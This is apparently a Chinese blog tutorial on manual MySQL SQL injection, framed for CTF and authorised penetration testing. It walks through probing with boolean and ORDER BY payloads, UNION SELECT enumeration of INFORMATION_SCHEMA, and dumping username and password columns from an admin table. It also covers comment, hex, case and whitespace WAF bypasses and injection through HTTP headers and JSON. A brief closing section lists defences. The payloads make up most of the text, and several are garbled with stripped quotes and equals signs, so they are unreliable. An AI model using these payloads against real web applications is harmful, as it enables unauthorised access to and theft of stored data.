别再只会用sqlmap了!从INFORMATION_SCHEMA入手,深入理解MySQL手工注入的完整链条

张开发
2026/4/21 8:32:06 15 分钟阅读

分享文章

别再只会用sqlmap了!从INFORMATION_SCHEMA入手,深入理解MySQL手工注入的完整链条
从INFORMATION_SCHEMA到数据窃取MySQL手工注入实战手册当大多数安全爱好者还在依赖sqlmap这类自动化工具时真正的高手早已转向手工注入的深度探索。这不是为了炫技而是为了在复杂环境中掌握主动权——自动化工具可能失效但原理永远不会过时。1. 为什么需要手工注入在CTF比赛或真实渗透测试中我们常遇到三种典型场景WAF拦截自动化工具的特征被识别导致请求被阻断非常规注入点非标准参数或复杂过滤机制使工具失效精准控制需求需要精细调整payload以绕过特定防御措施手工注入的核心价值在于理解MySQL数据字典INFORMATION_SCHEMA的运作机制。这个系统数据库存储了所有元数据包括数据库名(SCHEMATA)表信息(TABLES)列定义(COLUMNS)权限信息(USER_PRIVILEGES)提示MySQL 5.0版本均内置INFORMATION_SCHEMA但不同版本细节可能有差异2. 手工注入四步法2.1 探测与验证注入点首先确认注入点的基本特性 AND 11 -- AND 12 -- OR 11观察响应差异特别注意错误信息是否暴露数据库结构布尔状态下的内容变化响应时间差异(时间盲注)关键技巧使用ORDER BY确定字段数 ORDER BY 5-- ORDER BY 10--当出现错误时说明超出了实际字段数。2.2 构建UNION查询框架确定字段数后构建基础UNION查询 UNION SELECT 1,2,3,4,5--观察哪些位置回显到页面这将成为我们的信息展示窗口。数据类型匹配表字段位置推荐测试类型说明1NULL检测类型兼容性2test字符串类型验证3version系统函数返回值412345数字类型验证5CONCAT(a,b)函数执行能力验证2.3 利用INFORMATION_SCHEMA提取结构获取数据库列表 UNION SELECT 1,SCHEMA_NAME,3,4,5 FROM INFORMATION_SCHEMA.SCHEMATA--提取指定数据库的表信息 UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4,5 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA目标数据库--获取表结构详情 UNION SELECT 1,COLUMN_NAME,DATA_TYPE,4,5 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME目标表--2.4 数据提取与优化针对关键表执行数据提取 UNION SELECT 1,username,password,4,5 FROM admin--性能优化技巧使用LIMIT分批次获取数据通过WHERE条件缩小范围用CONCAT_WS合并多列数据3. 高级绕过技术3.1 编码与混淆技术当遇到基础过滤时尝试 UNI/**/ON SEL/**/ECT 1,2,3-- 0x2720756e696f6e2073656c65637420312c322c332d2d20常用混淆方法对比技术类型示例适用场景注释分割UNI//ON SEL//ECT关键字过滤十六进制0x...引号过滤大小写变异uNiOn SeLeCt简单大小写敏感WAF空白符变异UNION%09SELECT空格过滤3.2 非常规注入点利用HTTP头注入X-Forwarded-For: AND 1CONVERT(INT,version)--JSON注入{id: UNION SELECT 1,version,3-- }4. 手工vs自动化实战对比CTF靶场测试结果测试项手工注入sqlmap探测时间8分钟2分钟获取数据库名需构造特定查询自动枚举绕过复杂WAF灵活调整payload可能失败学习曲线陡峭平缓可控性精准控制每个环节黑盒操作典型手工注入过程记录发现搜索框存在字符型注入确定字段数为3 ORDER BY 3-- # 正常 ORDER BY 4-- # 错误确认回显位置 UNION SELECT pos1,pos2,pos3--提取数据库版本 UNION SELECT 1,version,3--获取所有数据库 UNION SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA--5. 防御视角如何保护你的系统了解攻击手段才能更好防御。推荐防护措施参数化查询永远不要拼接SQL最小权限原则应用数据库账户只应有必要权限敏感信息加密即使数据泄露也难解密WAF规则针对INFORMATION_SCHEMA访问设置警报在最近一次授权测试中我们发现某系统虽然过滤了常见关键词但通过以下方式仍可获取数据 UNI/**/ON SEL/**/ECT 1,table_name,3 FR/**/OM information_schema.tables--这种灵活的手工调整能力正是自动化工具难以完全替代的。

更多文章